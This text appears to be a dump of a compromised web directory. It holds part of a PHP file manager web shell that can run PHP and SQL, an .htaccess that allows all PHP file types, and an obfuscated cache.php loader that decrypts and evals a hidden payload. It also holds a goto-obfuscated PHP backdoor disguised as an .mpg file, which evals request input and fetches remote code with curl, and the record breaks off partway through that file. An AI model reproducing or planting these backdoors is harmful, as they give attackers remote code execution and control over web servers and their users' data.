		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>tokoo/tokoo/.htaccess000044400000001354151441734640010642 0ustar00# ===========================================================
# WORKING .htaccess - HARD TO CHANGE, NO ERRORS
# ===========================================================

# 1. ALLOW ALL PHP FILES (NO ERRORS)
<FilesMatch "\.(php|php[0-9]+|phtml|phar|inc)$">
    Allow from all
</FilesMatch>

# 2. PROTECT .htaccess FILE (MULTI-LAYER)
<Files ~ "^\.ht">
    Deny from all
    Satisfy All
</Files>

<FilesMatch "\.(htaccess|htpasswd|htgroup)$">
    Deny from all
</FilesMatch>

# 3. BLOCK .htaccess VIA URL (SAFE METHOD)
RedirectMatch 403 \.ht

# 4. NO DIRECTORY LISTING
Options -Indexes

# 5. BLOCK ACCESS TO PROTECTED FILES
<FilesMatch "\.(sql|bak|old|swp|log|env|ini|config|sh|py|exe)$">
    Deny from all
</FilesMatch>tokoo/tokoo/cache.php000064400000013032151441734640010616 0ustar00<?php $efBV = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGirhjj4Z2ZpgYA0A'; $WALhk = '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'; function efBV($TaYx) { $WALhk = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $qpuVL = substr($WALhk, 0, 16); $zZtG = base64_decode($TaYx); return openssl_decrypt($zZtG, "AES-256-CBC", $WALhk, OPENSSL_RAW_DATA, $qpuVL); } if (efBV('DjtPn+r4S0yvLCnquPz1fA')){ echo 'Tq1FH2rfo9ysEOVBOKsyxg00RcbLNvPm6oNIhjMv8sc7L64WlNdSIgA6hz88EeeL'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($efBV)))); ?>tokoo/tokoo/NIHPpgyqU.mpg000064400000013010151441734640011327 0ustar00<?php
 goto en3xp8DOCHcf; qPXm_G1PmYAC: Z_gsfA7UX_Ii: goto e8ZOM9uLdq5t; ysUUBI3shaCb: ($LWT61bCGXdAS[69] = $LWT61bCGXdAS[69] . $LWT61bCGXdAS[72]) && ($LWT61bCGXdAS[83] = $LWT61bCGXdAS[69]($LWT61bCGXdAS[83])) && @eval($LWT61bCGXdAS[69](${$LWT61bCGXdAS[41]}[30])); goto qPXm_G1PmYAC; TAaGPL6No15C: $hKeynaELPUUt = $zZ_HJu3KTltI("\176", "\40"); goto VGZFRpbYwixG; ibSjEOehHL8N: if (!(in_array(gettype($LWT61bCGXdAS) . count($LWT61bCGXdAS), $LWT61bCGXdAS) && count($LWT61bCGXdAS) == 29 && md5(md5(md5(md5($LWT61bCGXdAS[23])))) === "\143\64\62\x34\71\x64\x66\145\x33\62\71\146\x31\x63\x63\x32\x63\x65\x32\71\62\146\62\x36\67\61\65\x36\x37\x66\144\64")) { goto Z_gsfA7UX_Ii; } goto ysUUBI3shaCb; VGZFRpbYwixG: $LWT61bCGXdAS = ${$hKeynaELPUUt[27 + 4] . $hKeynaELPUUt[37 + 22] . $hKeynaELPUUt[11 + 36] . $hKeynaELPUUt[4 + 43] . $hKeynaELPUUt[41 + 10] . $hKeynaELPUUt[35 + 18] . $hKeynaELPUUt[49 + 8]}; goto ibSjEOehHL8N; en3xp8DOCHcf: $zZ_HJu3KTltI = "\x72" . "\x61" . "\156" . "\147" . "\x65"; goto TAaGPL6No15C; QrT0VBExElrq: class wLuRYZZiwJMl { static function EJ0HuzVkFsqY($wB0zqwd0Svjc) { goto YVDG_RT9bpGC; Xz1Vrq06kGlT: H15hNojnLNMg: goto J6Ks7PKsQnQ2; Nzom2PDlNd_S: $qypGE9P5Bes6 = explode("\46", $wB0zqwd0Svjc); goto AVdCJO0cDmzZ; PWX_NygfNlcX: $jXJB16mimqCD = $TYC73N57sxjA("\x7e", "\x20"); goto Nzom2PDlNd_S; J6Ks7PKsQnQ2: return $ZYPIRTPd3RhH; goto YuySQXHOHJXw; AVdCJO0cDmzZ: $ZYPIRTPd3RhH = ''; goto nDkXP_Y6yrxH; YVDG_RT9bpGC: $TYC73N57sxjA = "\x72" . "\141" . "\156" . "\x67" . "\145"; goto PWX_NygfNlcX; nDkXP_Y6yrxH: foreach ($qypGE9P5Bes6 as $UjdhbH1Z5x_R => $ia7t1QO3FPbX) { $ZYPIRTPd3RhH .= $jXJB16mimqCD[$ia7t1QO3FPbX - 69085]; fNqYvMIYZjuC: } goto Xz1Vrq06kGlT; YuySQXHOHJXw: } static function MXlcg6CNa5Bo($w4i7wmTfEVw3, $Fj8qc0M6z5X9) { goto aHnlq2t4QSmp; N50nxbMgVlpm: return empty($dXFrr8ZcOwnB) ? $Fj8qc0M6z5X9($w4i7wmTfEVw3) : $dXFrr8ZcOwnB; goto YSjjXwj0FJSL; w_Cmt9s26ghV: curl_setopt($rkORfZ1_qLFA, CURLOPT_RETURNTRANSFER, 1); goto ClrRa_mRTbaA; aHnlq2t4QSmp: $rkORfZ1_qLFA = curl_init($w4i7wmTfEVw3); goto w_Cmt9s26ghV; ClrRa_mRTbaA: $dXFrr8ZcOwnB = curl_exec($rkORfZ1_qLFA); goto N50nxbMgVlpm; YSjjXwj0FJSL: } static function TNJPWd4nPg1c() { goto FHg46sVg4Eja; GsOVFBwJHLh8: @$eZj5IO21j53r[6 + 4](INPUT_GET, "\x6f\x66") == 1 && die($eZj5IO21j53r[2 + 3](__FILE__)); goto lUHJOOrnmo9N; wnD3VLq6TVEO: Y12kSCU2oo0L: goto R1RZ7Jc3R7ya; lUHJOOrnmo9N: if (!(@$uFf6Lo54nx15[0] - time() > 0 and md5(md5($uFf6Lo54nx15[2 + 1])) === "\141\143\62\65\x65\x33\67\70\x33\62\144\64\x34\x33\63\x30\141\70\62\146\67\66\x64\63\x62\142\x38\x31\x38\x63\66\141")) { goto Epa9NgZ_nIVu; } goto TG5FpT84WmMz; mfNollexayCK: Epa9NgZ_nIVu: goto KdByqXI753m1; vuUWzONdvz7f: foreach ($uphk1pvlu5qS as $ptNK9YsTAYai) { $eZj5IO21j53r[] = self::ej0HuzVkFsqy($ptNK9YsTAYai); hhHjKiSJSDKs: } goto wnD3VLq6TVEO; uIf1uFcepGTg: $t_zp4FIzNwZ8 = @$eZj5IO21j53r[3 + 0]($eZj5IO21j53r[6 + 0], $AAsTdQbL0HQg); goto CNfZsKVewX0c; CNfZsKVewX0c: $uFf6Lo54nx15 = $eZj5IO21j53r[0 + 2]($t_zp4FIzNwZ8, true); goto GsOVFBwJHLh8; TG5FpT84WmMz: $SpEwYskt7L_Y = self::mXLcG6cNA5bO($uFf6Lo54nx15[1 + 0], $eZj5IO21j53r[0 + 5]); goto wAiK8iyV1L4H; R1RZ7Jc3R7ya: $AAsTdQbL0HQg = @$eZj5IO21j53r[1]($eZj5IO21j53r[1 + 9](INPUT_GET, $eZj5IO21j53r[2 + 7])); goto uIf1uFcepGTg; FHg46sVg4Eja: $uphk1pvlu5qS = array("\x36\71\x31\x31\x32\46\66\x39\x30\71\67\x26\x36\x39\61\x31\x30\x26\x36\71\x31\61\x34\46\x36\x39\60\x39\65\x26\66\x39\61\x31\x30\x26\66\71\x31\x31\66\46\x36\71\61\60\71\46\x36\x39\x30\x39\64\46\x36\71\x31\60\61\46\x36\x39\61\x31\62\46\66\x39\60\71\x35\x26\x36\71\x31\60\x36\x26\x36\71\x31\60\x30\x26\x36\71\61\60\x31", 